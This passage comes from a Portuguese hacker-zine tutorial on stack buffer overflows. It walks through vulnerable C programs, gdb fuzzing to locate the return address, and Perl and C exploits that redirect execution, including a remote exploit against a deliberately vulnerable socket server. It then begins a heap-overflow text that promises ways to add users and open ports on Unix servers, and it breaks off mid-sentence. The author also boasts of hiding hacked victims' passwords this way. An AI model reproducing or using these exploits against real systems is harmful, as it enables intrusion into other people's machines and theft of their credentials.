frame', alcancam o 'dummy' que nesse caso e de 8 bytes e chegam no FBP. Acredito que esteja ficando mais claro para voce a cada minuto, amigo ;) Entao, pense comigo: Se o en- dereco de retorno armazena o endero da proxima instrucao depois da chamada a uma funcao, e ja que podemos sobrescrever o stack frame, entao podemos inferir que po- demos inserir dados ate alcancarmos o endereco de retorno, e os dados que nos inse- rimos que serao executados, certo? Exato. Veja esse exemplo: -- I didn't see.c -- main (){ char buffer2[21]="I didn't see nothing", buffer1[8]; strcpy (buffer1, "David_Destroyer"); puts (buffer2); } -- cut -- Os dados sao empilhados da direita para esquerda nesse caso. Entao o buffer 1 sera empilhado, depois o buffer2. Repare que o buffer1 e capaz de suportar 8 caracteres, mas a um problema neste programa, perceba que estou copiando uma string de 15 bytes (David_Destroyer) para um buffer que suporta 8. O que vai acontecer e o overflow, ou seja, os dados que nos inserimos sobre o primeiro buffer vao sobrescrever o segundo. 123456789ABCDEF <--------[] 15 bytes David_Destroyer | +-----------> A partir daqui os dados estarao no buffer2 Veja que logo em seguida a copia dos dados, e imprimido o valor do buffer2. C:\Documents and Settings\David>"I didn't see.exe" stroyer Repare que os dados impressos nao sao os dados que inicializei no 'buffer2' (I didn't see nothing), mas sim o resto dos dados que nao foram suportados pelo buffer1. Se inserirmos apenas 7 bytes no buffer1, ou menos, o conteudo do segundo buffer sera impresso normalmente. -- nothing.c -- // nothing\0 <-- 7 bytes + NULL byte main (){ char buffer2[21]="I didn't see nothing", buffer1[8]; strcpy (buffer1, "nothing"); fprintf (stdout, "%s", buffer2); } -- cut -- C:\Documents and Settings\David>"I didn't see.exe" I didn't see nothing E se o buffer destino ao invez de 8, que e multiplo de 4, fosse 7, nao conse- guiriamos fazer o programa mostrar os dados nao suportados porque os dados na pilha crescem de 4 em 4 bytes ;) Veja um melhor exemplo dessa informacao que nos sera muito util em meu proximo paper ("futuro proximo"): -- winki.c -- main (){ char buffer2[21]="I didn't see nothing", buffer1[7]; strcpy (buffer1, "David_Destroyer"); puts (buffer2); } -- cut -- Veja que o primeiro buffer e composto por 7 bytes, mas os dados que nos esta- mos inserindo e multiplo de quatro bytes. C:\Documents and Settings\David>wink.exe I didn't see nothing Esse "detalhe" ficara para meu proximo texto, no qual demonstrarei mais exemplos de exploracao pela heap do que o primeiro texto que escrevi[2]. E muito importante que voces saibam que a criacao de um dummy e de um alinhamento (criados pelos gcc) no stack frame vai depender do tamanho do buffer das variaveis locais utilizadas no codigo do programa. Bem, primeiramente veremos exemplos de overflow para logo em seguida eu poder entrar em detalhes com relacao a isso. -- programa1.c -- /* * * There's a bug in this code * */ #include #include #include int overflow (char *string){ char buffer[4]; strcpy (buffer, string); puts (buffer); } int main (int argc, char *argv[]){ if (argc != 2) exit (-1); overflow (argv[1]); return (0); } -- cut -- O que esse programa faz (como voce pode ver) e copiar o o primeiro parametro de li- nha de comando e fazer uma chamada a funcao overflow, no qual recebera esse parame- tro e armazenara o mesmo na variavel de lista de parametro "string" que por sua vez tera seu conteudo copiado para a variavel buffer, agora veja onde ocorrer a falha: char buffer[4]; strcpy (buffer, string); Repare que o buffer pode suportar 4 bytes, ou seja, e reservado para essa variavel '4' bytes no stack frame da funcao overflow (no qual os parametros passados a ela serao alocados), abaixo vera que e copiado o conteudo da variavel string (no qual armazena os parametros digitados por nos, na linha de comando) para esta variavel, mas a funcao strcpy() nao faz checagem alguma dos dados que serao alocados na me- moria (stack frame). O gcc reserva espaco para 4 bytes na area 'buffer' do stack frame, ou seja, se inserirmos mais de 4 bytes esses bytes adicionais vao sobres- crevendo os ponteiros no stack frame e se por acaso chegarem ao retorno, o sis- tema vai ter que retornar o que esta na area RET ADDR no stack frame, ou seja, ele vai jogar para eip o endereco armazenado na area RETURN ADDR, e assim executando aquela instrucao (Como eu ja falei). Vejam sobre como injetar um endereco executa- vel/valido na area 'RETURN ADDRESS' nos proximos capitulos. "Primeiramente" vamos ver como identificar o overflow e fazer alguns mapas da memoria para cada funcao que aqui sera debugada. Execucao do programa1..: C:\Documents and Settings\David>programa1.exe AA AA C:\Documents and Settings\David>programa1.exe AAA AAA C:\Documents and Settings\David>programa1.exe AAAAAAAAAAAAA AAAAAAAAAAAAA C:\Documents and Settings\David> E atraves desta mensagem que podemos saber se o programa e vulneravel a overflow no windows (Segmentation fault): ------------------------------------------------------------ |O programa1.exe encontrou um problema e precisa ser fechado.| ------------------------------------------------------------ Essa mensagem pode representar o overflow, como tambem nao pode. Se voce esta inserindo muito dados em buffers de alguns programas e voce cair nesta mensagem, a uma grande chance de voce ter descoberto um bug/falha de stack overflow nesse programa. Repare que primeiramente insiro duas letras 'A' na execucao do progra- ma, ate ai tudo bem, o programa terminou normalmente, depois inseri 3 A's, tam- bem nao houve problema algum, pois o buffer suporta 4 bytes (3 + '\0'). Observe que na ultima execucao inseri: AAAAAAAAAAAAA 0123456789ABC | +---> O buffer suporta dados ate aqui. 13 bytes no buffer, e nos foi apresentada a mensagem anterior, ou seja, acaba- mos de descobrir um bug! Veremos agora como explora-lo. Vamos ver os bytes do stack frame da funcao overflow e desenha-lo. C:\Documents and Settings\David>gdb programa1.exe -q (gdb) disass main Dump of assembler code for function main: 0x4012b5
: push %ebp 0x4012b6 : mov %esp,%ebp 0x4012b8 : sub $0x8,%esp 0x4012bb : and $0xfffffff0,%esp 0x4012be : mov $0x0,%eax 0x4012c3 : add $0xf,%eax 0x4012c6 : add $0xf,%eax 0x4012c9 : shr $0x4,%eax 0x4012cc : shl $0x4,%eax 0x4012cf : mov %eax,0xfffffffc(%ebp) 0x4012d2 : mov 0xfffffffc(%ebp),%eax 0x4012d5 : call 0x401750 <_alloca> 0x4012da : call 0x4013f0 <__main> 0x4012df : cmpl $0x2,0x8(%ebp) 0x4012e3 : je 0x4012f1 0x4012e5 : movl $0xffffffff,(%esp,1) 0x4012ec : call 0x401840 0x4012f1 : mov 0xc(%ebp),%eax 0x4012f4 : add $0x4,%eax 0x4012f7 : mov (%eax),%eax 0x4012f9 : mov %eax,(%esp,1) 0x4012fc : call 0x401290 <----- Achamos a chamada ---Type to continue, or q to quit--- 0x401301 : mov $0x0,%eax 0x401306 : leave 0x401307 : ret End of assembler dump. (gdb) E nessa instrucao que a funcao overflow e chamada: 0x4012fc : call 0x401290 Disassemblaremos a mesma: (gdb) disass 0x401290 Dump of assembler code for function overflow: 0x401290 : push %ebp 0x401291 : mov %esp,%ebp 0x401293 : sub $0x18,%esp 0x401296 : mov 0x8(%ebp),%eax 0x401299 : mov %eax,0x4(%esp,1) 0x40129d : lea 0xfffffffc(%ebp),%eax 0x4012a0 : mov %eax,(%esp,1) 0x4012a3 : call 0x401860 0x4012a8 : lea 0xfffffffc(%ebp),%eax 0x4012ab : mov %eax,(%esp,1) 0x4012ae : call 0x401850 0x4012b3 : leave 0x4012b4 : ret End of assembler dump. Agora vamos usar uma tecnica chamada de "fuzzing" para saber quantos bytes precisaremos para alcancar o endereco de retorno. Essa tecnica foi muito evoluida, mas aqui nao vamos entrar em detalhes, falarei apenas do basico, que consiste em injetar em buffers, grandes quantidades de bytes e esperar alguma mensagem de erro. Macete bem "espartano" eim? Vamos entao "fuzzar" este programa dentro do gdb: (gdb) r AAA Starting program: C:\Documents and Settings\David/programa1.exe AAA Program exited normally. Nem um problema, vejam que o proprio gdb nos mostra que o programa saiu normalmente. Agora vamos transbordar (overflow) nosso buffer e atraves dele encostaremos no endereco de retorno do stack frame "Overflow". (gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: C:\Documents and Settings\David/programa1.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () OK, por incrivel que pareca essa mensagem de erro e boa para nos };P Segmentation fault e a mensagem que nos e exibida nos linuxes quando o stack frame retorna para uma area de memoria invalida; Nao se esqueca que estamos em uma ferramenta nativa do linux, por isso tambem temos essa mensagem. Vejam que interessante, A em ASCII equivale ao 41 em hexade- cimal, veja main (){ printf ("%x\n", 'A'); system ("pause"); } Resultado: 41 <--- 0x41 Pressione qualquer tecla para continuar. . . (gdb) i r eax 0x22ff60 2293600 ecx 0x3d3d60 4013408 edx 0xababab00 -1414812928 ebx 0x4000 16384 esp 0x22ff80 0x22ff80 ebp 0x41414141 0x41414141 <-- ebp sobrescrito esi 0xdca4f0 14460144 edi 0xd7ea70 14150256 eip 0x41414141 0x41414141 <-- Proxima instrucao. eflags 0x10246 66118 cs 0x1b 27 (...) Lembrando que o processador "sempre" trabalha no nivel hexadecimal. O nosso objetivo agora e saber em quantos bytes podemos alcancar o endereco de retorno. Para isso utilizaremos uma tecnica chamada Binary Tree Analysis ou BTA, que consiste na insercao de um buffer com dados variados, exemplo, inserimos x numeros de A's, depois x numero de B's e x numeros de C's, se o debuger utilizado nos retornar que a base do stack frame foi sobrescrita por 0x42 que representa o B, entao "obviamente" que o 'ebp' esta entre os x B's inseridos, e assim por diante. (gdb) r AAAADDDDRRRR Starting program: C:\Documents and Settings\David/programa1.exe AAAADDDDRRRR Program received signal SIGSEGV, Segmentation fault. 0x52525252 in ?? () Buffer = A Base pointer = D Return addres = R Alcancamos o endereco de retorno!! Como eu sei? Veja: 0x52525252 in ?? () <-- Observe que 52 em hexadecimal corresponde a R O que aconteceu foi isso: +--------------+ | buffer[1] | = A || +--------------+ || +--------------+ || | buffer[2] | = A || +--------------+ || +--------------+ || | buffer[3] | = A || +--------------+ || +--------------+ || | buffer[4] | = A || +--------------+ || +--------------+ || | FBP (4 bytes)| = DDDD || +--------------+ || | RETURN ADDR | = RRRR (0x52) VV +--------------+ Veja que o endereco de retorno vai retornar o 0x52, que nao e um endereco valido, alocado na memoria, por isso o signal SIGSEGV e retornado. Vamos causar o overflow no stack frame de main: -- main_overflow.c -- main (int argc, char *argv[]){ if (argc != 2) exit (0); char frame[16]; strcpy (frame, argv[1]); // <- Copia o que nos digitarmos para a \ variavel frame (sem controle). } -- cut -- C:\Documents and Settings\David\Meus documentos>gdb main_overflow.exe -q (gdb) r AAAAAAAAAAAAAAAADDDDDDDDBBBBRRR Starting program: C:\Documents and Settings\David\Meus documentos/main_overflow.exe AAAAAAAAAAAAAAAADDDDDDDDBBBBRRR Program received signal SIGSEGV, Segmentation fault. 0x00525252 in ?? () Repare acima que esta faltando 1 unico byte para completar os 4 que compoem o endereco de retorno. Entao apenas precisariamos inserir mais um 'R' (gdb) r AAAAAAAAAAAAAAAADDDDDDDDBBBBRRRR The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: C:\Documents and Settings\David\Meus documentos/main_overflow.exe AAAAAAAAAAAAAAAADDDDDDDDBBBBRRRR Program received signal SIGSEGV, Segmentation fault. 0x52525252 in ?? () Agora o RET esta totalmente sobrescrito. Entao e necessario os seguintes bytes para alcancarmos o endereco de retorno: Buffer = AAAAAAAAAAAAAAAA (16 bytes) Dummy = DDDDDDDD (8 bytes) FBP = FFFF (4 bytes) RET = RRRR (4 bytes) +--------------+ | buffer[0] | = A || +--------------+ || +--------------+ || | buffer... | = A || +--------------+ || +--------------+ || | buffer[16] | = A || +--------------+ || +--------------+ || | Dummy (8) | = DDDDDDDD || +--------------+ || +--------------+ || | FBP (4 bytes)| = FFFF || +--------------+ || | RETURN ADDR | = RRRR (0x52) VV +--------------+ ^ | | +---> O stack frame retornara para RRRR (SIGSEGV) ----- Capitulo 0x0B [=] + =========================================== + [=] ---=[ Seu primeiro exploit (local) ]=--- [=] + =========================================== + [=] Bem, para esse primeiro exemplo de "exploracao" de stack overflow, nao mostrarei a utilizacao de shellcode, por hora voce apenas sabera como controlar o endereco de retorno para o mesmo retornar a algum lugar na memoria. Bem, a tecnica de explora- cao local pode ter varias utilidades, eu costumava esconder uma funcao no qual me mostrava minhas senhas e das vitimas que hackiava, em alguns programas, eram centenas de senhas e ainda nao havia memorizado todas, quando queria visualiza-las explorava localmente a aplicacao cobaia e fazia o RETURN retornar a minha funcao oculta, e assim fazendo com que o programa apresentasse-me as senhas. Exemplo: -- show_passwords.c -- #include #include #include void function_vuln (); void show_pass (){ char *password[] = { "Email: test@testing.com \n", "Pass : this_is_a_test" }; int i=0; while (i != 2){ fputs (password[i], stdout); ++i;} exit (0); } int main (int argc, char *argv[]){ // It doesn't drink much water ... :) puts ("Do you can give me some water? yes/no"); if (argc != 2) exit (0); function_vuln (argv[1]); return 0; } void function_vuln (char *string) { char buffer[16]; strcpy (buffer, string); // <- A falha esta aqui. if (!strncmp (buffer, "yes", strlen ("yes")) ){ system ("cls"); fprintf (stdout, "%s", "Thank'x man\n"); } else puts ("\n\nWell, well, well -> FuCk\n"); } -- cut -- Passo 1..: C:\Documents and Settings\David>show_passwords.exe Do you can give me some water? yes/no C:\Documents and Settings\David>show_passwords.exe yes Resultado..: Thank'x man C:\Documents and Settings\David\Desktop> Este programa pergunta se o usuario quer dar agua a ele (lol), se o usuario digitar sim, ele diz "obrigado", caso contrario o usuario recebe uma mensa- gem de erro. Veja que em nenhum momento e feito qualquer chamada a funcao show_pass (). Vejamos onde esta a falha: strcpy (buffer, argv[1]); Como ja falei, strcpy() nao faz checagem alguma dos dados que serao copiados para o buffer de destino. E atraves desta falha que vamos explorar esse pro- grama e fazer o endereco de retorno retornar para o local na memoria que queremos. Antes de explorarmos a aplicacao acima, escreverei outra aplicacao bugada para mostrar a exploracao de programas que recebem o parametro argument count e argument values. -- exploit-me_v1.0.c -- void show_pass (){ char *password[] = { "Email: test@testing.com \n", "Pass : this_is_a_test" }; } main (int argc, char **argv){ char buffer[16]; // <-- Portal da felicidade strcpy (buffer, argv[1]); // <-- Nosso bombom } -- cut -- C:\>gdb exploit-me_v1.0.exe -q (gdb) disass show_pass Dump of assembler code for function show_pass: 0x401290 : push %ebp 0x401291 : mov %esp,%ebp 0x401293 : sub $0x8,%esp 0x401296 : movl $0x403000,0xfffffff8(%ebp) 0x40129d : movl $0x40301a,0xfffffffc(%ebp) 0x4012a4 : leave 0x4012a5 : ret End of assembler dump. (gdb) q C:\> 0x401290 <--- Retornaremos este endereco. Agora vamos fazer o exploit em perl apenas para uma melhor aprendizagem. -- first_exploit.pl -- #################################################### ### O primeiro exploit voces nunca vao esquecer ;) # #################################################### # Caminho do .executavel bugado my $PATH ="c:\\exploit-me_v1.0.exe "; # Dados para sobrescrever o stack frame da funcao main my $Buffer = "A" x 16; # Buffer my $Dummy = "D" x 8; # Dummy my $FBP = "B" x 4; # Frame Base Pointer #Endereco de retorno (De tras para frente - LIFO) #Endereco de show_pass (); my $RET = "\x90\x12\x40\x00"; #Anexamos a variavel '$exploit' as outras variaveis my $exploit =$Buffer.$Dummy.$FBP.$RET; #AAA... DDD... BBB... "\x90\x12\x40\x00"; print ("\nSending exploit, please wait...\n\n"); print $exploit; system ($PATH, $exploit); # <-- Chama o programa e usa o argumento # $exploit <-- Onde estao os dados. -- cut -- Sei que voce (Brasileiro =) ficara empolgadissimo com isso: C:\>first_exploit.pl Sending exploit, please wait... AAAAAAAAAAAAAAAADDDDDDDDBBBBÉ?@ Email: test@testing.com Pass : this_is_a_test C:\> owned! huhuhu (sndMas rlz ;). OK. The program has been exploited. We have total control of the return address. ================================ Exploitando o show password v1.0 ================================ Primeiro passo...: Descobrindo o endereco que queremos retornar. C:\Documents and Settings\David\Desktop>gdb show_passwords.exe -q (gdb) disass show_pass Dump of assembler code for function show_pass: 0x401290 : push %ebp 0x401291 : mov %esp,%ebp (...) O resto das instrucoes nao nos importam, o que queremos e o endereco inicial desta funcao. Que eh: 0x'401290'. Como vimos anteriormente para a exploracao de buffers de 16 bytes precisariamos de '16' bytes para lotar a area que foi reservada para esse buffer no stack frame, os 8 bytes de dummy mais os 4 do FBP (ebp). Entao podemos inferir que devemos inserir o endereco 0x401290 na area RET do stack frame. Vamos fazer logo esse exploit em C: -- exploit_for_SPv1.c -- /* * * Exploit for to exploit a flaw in the * Show Passwords v0.1 * * Bug discovered by 6_Bl4ck9_f0x6 :) * */ #include #include #include #define RET "\x90\x12\x40\x00" main (){ printf ("Sending exploit, please wait...\r\n\r\n"); // A funcao WinExec executa um programa e passa parametros ao mesmo. WinExec ("\\show_passwords.exe yesAAAAAAAAAAAAADDDDDDDDBBBB\x90\x12\x40\x00", 0); exit (0); } -- cut here -- C:\>exploit_for_SPv1.exe Resultado..: Thank'x man Email: test@testing.com Pass : this_is_a_test C:\> Simples, nao? Existe a classe dos que ensinam e a classe dos que gostam de aparecer (White Corja Poser Brasileira). ----- Capitulo 0x0C [=] + =========================================== + [=] ---=[ Exploracao remota ]=--- [=] + =========================================== + [=] Escrevi um pequeno servidor vulneravel a stack overflow, obviamente que isso foi intencional ehehhe...:) -- fox_server.c -- /* * * Aprendam uma coisa de uma vez por todas: * A rede globo eh a maior ;) * * <- Tava devendo essa -> * */ #include #include #include #include #include #define BACKLOG 5 #define PORT 666 WSADATA data; struct sockaddr_in local_bind, server; int SoCk, SoCkII; int login_ (); char username[400]; int secret_function (){ char *message="\n\n Hi 6_Bl4ck9_f0x6 \n\n"; fprintf (stdout, message, strlen (message)); } int main (){ memset (username, 0x00, 0x08); WSAStartup (MAKEWORD (2,2),&data); SoCk = socket (PF_INET, SOCK_STREAM, 0); local_bind.sin_family=AF_INET; local_bind.sin_port=htons (PORT); local_bind.sin_addr.s_addr = htonl (INADDR_ANY); memset (&local_bind.sin_zero, 0x00, 0x08); bind (SoCk, (struct sockaddr *)&local_bind, 0x10); unsigned int len=sizeof (SOCKADDR_IN); listen (SoCk, BACKLOG); fprintf (stdout, "Listening in the %d port...", \ ntohs (local_bind.sin_port)); SoCkII = accept (SoCk, (struct sockaddr *)&server, &len); closesocket (SoCk); u_char *msgs=" \n\n --=[ Welcome to the Black Machine ]=--\n"; u_char *login="\nLogin: \n"; send (SoCkII, msgs, strlen (msgs), 0x00); send (SoCkII, login, strlen (login), 0x00); recv (SoCkII, username, 400, 0x00); login_ (); } login_ (){ printf ("%d", strlen (username)); char buffer[200]; strcpy (buffer, username); if (!strncmp (buffer, "6_Bl4ck9_f0x6", 13)){ send (SoCkII, "\n\nBem vindo fox\n", strlen ("\n\nBem vindo fox\n"), 0x00); return 0;} else{ send (SoCkII, "\nLogin invalido...", strlen ("\nLogin invalido..."), 0x00); Sleep (3000); send (SoCkII, "\nEstou te rastreando... Buu\n\n", \ strlen ("\nEstou te rastreando... Buu"), 0x00); WSACleanup(); closesocket (SoCk); } } -- cut -- Nao me preocupei muito com organizacao, portanto nao me mandem emails falando que o server nao ta bonitinho rsrs. Ah! Os testes abaixo foram feitos com o seguintes buffers: char username[400]; & char buffer[200]; C:\Documents and Settings\David\Desktop>fox_server.exe Listening in the 666 port... Utilizarei o netcat como cliente C:\Documents and Settings\David>nc 127.0.0.1 666 --=[ Welcome to the Black Machine ]=-- Login: Ele espera eu digitar um login. O login que nao precisa de senha e meu nick: 6_Bl4ck9_f0x6 . Se voce digitar outro acontece isso: -- cut -- C:\Documents and Settings\David>nc 127.0.0.1 666 --=[ Welcome to the Black Machine ]=-- Login: Obtruder Login invalido... Estou te rastreando... Buu -- cut -- Foi so um charminho, relaxa }=) Entao, o overflow ocorre na autenticacao do usuario. Vejam so: char buffer[60]; strcpy (buffer, username); Se o nome de usuario conter mais de 60 bytes ocorre o overflow no stack frame da funcao login_() . Execucao correta do server: -- cut -- --=[ Welcome to the Black Machine ]=-- Login: 6_Bl4ck9_f0x6 Bem vindo fox -- cut -- Vamos rodar o servidor dentro do debug. C:\Documents and Settings\David\Desktop>gdb fox_server.exe GNU gdb 5.2.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-mingw32"... (gdb) r Starting program: C:\Documents and Settings\David\Desktop/fox_server.exe Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) q The program is running. Exit anyway? (y or n) y C:\Documents and Settings\David\Desktop> Veja melhor: Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Veja porque isso aconteceu: --=[ Welcome to the Black Machine ]=-- Login: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Login invalido... Estou te rastreando... Buu Vamos achar o endereco de retorno usando Binary Tree Analysis --=[ Welcome to the Black Machine ]=-- Login: AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCDDDDDDDDDDDDDD Login invalido... Estou te rastreando... Buu Veja abaixo que o RET esta entre os C's digitados: Program received signal SIGSEGV, Segmentation fault. 0x43434343 in ?? () (gdb) Vamos inserir entre os 4 C's, alguns A's --=[ Welcome to the Black Machine ]=-- Login: AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCAAAADDDDDDRRRR Login invalido... Estou te rastreando... Buu C:\Documents and Settings\David> Starting program: C:\Documents and Settings\David\Desktop/fox_server.exe Program received signal SIGSEGV, Segmentation fault. 0x41414143 in ?? () Yeah! Yeah! Yeah! Veja acima que o RET comeca a ser sobrescrito deste ponto: AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCAAA [ ADDDDDDRRRR ] | +-- > Here! Entao ja sabemos quantos bytes serao necessarios para alcancarmos o endereco de retorno. Login: AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCRRRRADDDDDDRRRR |__| | +-- > RETURN ADDRESS -- fox_server_exploit.c -- /* * * Simples exploit para fazer o programa vulneravel * retornar a um endereco de memoria. * * Coded by 6_Bl4ck9_f0x6 * */ #include #include #include #include #define NOP 0x90 WSADATA data; SOCKADDR_IN server; int len=sizeof (server); main (){ WSAStartup (MAKEWORD (2,2),&data); int SoCk = socket (AF_INET, SOCK_STREAM, IPPROTO_IP); server.sin_family = AF_INET; server.sin_port = htons (666); server.sin_addr.s_addr = inet_addr ("192.168.1.1"); memset (&server.sin_zero, 0x00, 0x08); u_char payload[224], ret[]="\x90\x12\x40"; if ( (connect (SoCk, (struct sockaddr *)&server, sizeof (SOCKADDR_IN))) == SOCKET_ERROR){ fprintf (stdout, "\n[Porta fechada]\n"); return (0);} memset (payload, NOP, sizeof (payload)); memcpy (payload +220, ret, 0x04); printf ("Sending exploit...\n"); send (SoCk, payload, 224, 0); closesocket (SoCk); system ("pause"); } -- cut -- fiz o BTA e descobri que para alcancar o endereco de retorno preciso de 224 bytes, ou seja, 220 para enchermos o buffer vulneravel na app bugada, mais o endereco de retorno. ret[]="\x90\x12\x40"; Acima e o endereco da funcao que esta oculta no programa vulneravel. 1 - memset (payload, NOP, sizeof (payload)); 2 - memcpy (payload +220, ret, 0x04); 1 -- > Encho a variavel payload de NOP's. 2 -- > Logo depois copio para o final dela o endereco de retorno. E envio 224 bytes atraves do socket. Primeiro o exploit estabelece uma conexao na maquina na vitima: -- cut -- if ( (connect (SoCk, (struct sockaddr *)&server, sizeof (SOCKADDR_IN))) == SOCKET_ERROR){ fprintf (stdout, "\n[Porta fechada]\n"); return (0);} -- cut -- Depois envio o payload que vai explorar o programa: -- cut -- send (SoCk, payload, 224, 0); -- cut -- Sending exploit... Pressione qualquer tecla para continuar. . . E o resultado eh este: C:\Documents and Settings\David\Meus documentos>fox_server.exe Listening in the 666 port...223 Hi 6_Bl4ck9_f0x6 ========================================================= + http://www.hunterhacker.xpg.com.br/exploited.JPG + ========================================================= ----- Capitulo 0x0E [=] + =========================================== + [=] ---=[ Consideracoes finais ]=--- [=] + =========================================== + [=] Um critico natural, amante da beleza feminina, amante das coisas boas da vida, alguem que pretende ter familia, ter alguem pra quem deixar o que aprendeu. Alguem que as unicas coisas que quer e privacidade e felicidade, alguem que nao entende porque as pessoas possuem muito poder, alguem que nao entende porque as pessoas menores se deixam obedecer, alguem que espera... "A verdadeira mascara e aquela que voce carrega dentro de si." -- " " ----[ Useful links and references ===================================================================== Course of C Part 4 - Final Version. Written for my e-zine (C.O.D.E). [1] - http://www.blackhat-forums.com/index.php?showtopic=8574 ===================================================================== Exploiting Heap Overflow in the windows without mistery [2] - http://www.hunterhacker.xpg.com.br/Heap_Overflow.txt ===================================================================== Stack/buffer overflow by blackwinner [3] - http://www.forum.darkers.com.br/index.php?topic=9941.msg44462;topicseen#msg44462 ===================================================================== Difference Between AT&T and Intel Assembly Syntax [4] - http://www.w00w00.org/files/articles/att-vs-intel.txt ===================================================================== Tutorial Basico do gcc e entendendo as etapas de compilacao [5] - http://www.hunterhacker.xpg.com.br/gcc_tuto_1.txt ===================================================================== "O ser mais perigoso e aquele que nao representa perigo algum." []`s by 6_Bl4ck9_f0x6 - Viper Corp Group +================================ ***** ====================================+ |=-------------------=[ <-|-> Corporacao Vibora <-|-> ]=-------------------=| < _====================================_ > |=---------------=[ A CENA HACKER UNDERGROUND BRASILEIRA ]=----------------=| < ====================================== [s] > | SUA EMPRESA EM BOAS MAOS | +===========================================================================+ YOUR COMPANY IN GOOD HANDS, OUR HANDS. Titulo : Heap Overflow (Parity bit edition\r\n) Autor : 6_Bl4ck9_f0x6 A.k.a : David Diego D. Firmino Siqueira Email : b-fox@bol.com.br Milw0rm : http://wWw.milw0rm.com/author/1863/ PacketS : http://wWw.packetstormsecurity.org "Uma noite destas, vindo da cidade para o Engenho Novo, encontrei num trem da Central um rapaz aqui dobairro, que eu conheco de vista e de chapeu. Cumprimentou-me, sentou-se ao pe de mim, falou da lua e dos ministros, e acabou recitando-me versos. A viagem era curta, e os versos pode ser que nao fossem inteiramente maus. Sucedeu, porem, que, como eu estava cansado, fechei os olhos tres ou quatro vezes; tanto bastou para que ele interrompesse a leitura e metesse os versos no bolso." -- Dom Casmurro de Machado de Assis [+ ======X============X===============X===== +] INDICE [+ ======X============X===============X===== +] <-+-> 1.0 - Introducao <-+-> 2.0 - Possiveis utilidades <-+-> 3.0 - Modelos de memoria <-+-> 4.0 - Entendendo os enderecos de memoria <-+-> 5.0 - Overview sobre alocacao dinamica e o utilizacao de static <-+-> 6.0 - Entendendo o SetUID <-+-> 6.1 - .Movie <-+-> 7.0 - Desenvolvendo exploits de Denial of Service <-+-> 8.0 - Useful links and references 1.0 - introducao Os pre-requisitos basicos para a leitura e "entendimento" deste texto e' o conhecimento em nivel intermediario da linguagem de programacao 'C', e conhecimento previo de sistemas Unix/Linux e Windows, pois neste texto contera' exemplos de exploracao em ambas as plata- formas. Com esse texto pretendo abordar o funcionamento de uma das inumeras falhas de seguranca mais exploradas, o bug de 'heap overflow', que comumente e' chamado de 'Buffer Overrun' por uma grande parte da comunidade de seguranca. Dedicarei esse texto a F3rGO, Dark_Side, Darkness, Cheat Struck, Emmanuely, AciDmuD, VooDoo, Osmar Ferrante e a todos que fizeram e que continuam fazendo da cena hacker brasileira, um cena forte. 1.0 - Introduction The basic requirements to read and learn the informations in this text is the basic knowledge about programming in C language and previous knowledge in Unix systems and Windows, because of this text to cointain examples of exploration in both plataforms. This text will cover the steps to exploit a flaw called 'Heap Overflow' also usually called Buffer Overrun by the security community. I offer this text to Dark_Side, Cheat Struck, Darkness, F3rGO, Emmanuely, AciDmuD, VooDoo and to all security experts from Brazil. 2.0 - Possiveis utilidades De 100 servidores na internet, como servidor de web, sql e ftp, no minimo uns 80 estao rodando sobre arquitetura Unix, por isso a importancia da obtencao de conhecimento em sistemas Unix, pela quantidade esmagadora de servidores. Com o conhecimento que aqui sera' descrito voce sabera' se utilizar dessa falha para adicionar usuarios ao sistema, abrir portas para um posterior acesso, entre varias outras acoes que, dependendo do seu nivel de conhecimento sobre Unix, serao quase infindaveis. A distribuicao Linux que aqui sera' utilizada deriva do Debian, chamada de 'kurumin Linux'. Veja informacoes nao tao relevantes (para o nosso proposito) sobre minha arquitetura: 2.0 - Possible utilities The most of the services in the internet like web servers, sql and ftp are running on Unixes. With this knowledge described below you'll know to use this flaw to add a user to system, for open ports, between many others good actions. The Linux distribution used in my samples is called Kurumin Linux (Based on Debian Linux). See below informations without importance to our purpose, just for convenience (such as the Windows). sh-3.1$ cat /proc/cpuinfo processor : 0 vendor_id : AuthenticAMD cpu family : 15 model : 44 model name : AMD Sempron(tm) Processor 2600+ stepping : 2 cpu MHz : 1599.957 cache size : 128 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 1 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt lm 3dnowext 3dnow pni lahf_lm ts ttp tm stc bogomips : 3203.58 root@Black_Machine:/home/Black_Fox# cat /etc/issue Kurumin Linux, Debian Etch \n \l http://www.guiadohardware.net sh-3.1$ uname -a Linux Black_Machine 2.6.18.1-slh-up-2 #1 PREEMPT Wed Oct 25 18:46:42 CEST 2006 i686 GNU/Linux sh-3.1$ arch i686 sh-3.1$ 3.0 - Modelos de memoria O modelo usual de memoria depende muito do sistema, me utilizarei como base inicial o modelo no "Linux/i186" apenas para demonstracao, apesar dos modelos usuais de memoria serem diferentes para cada sistema, o ponto chave e' o mesmo, Heap e' um local, stack e' outro. A regiao onde ocorre o Heap Overflow armazena dados em enderecos sequenciais +-----------+ | .DATA | <-- Regiao onde ocorre o Stack overflow +-----------+ | .BSS | <-- Regiao onde ocorre o Heap Overflow +-----------+ | .TEXT | <-- Instrucoes em Assembly (Written in Assembly) +-----------+ O "stack" overflow ocorre na registao .DATA, o 'Heap overflow' ocorre na 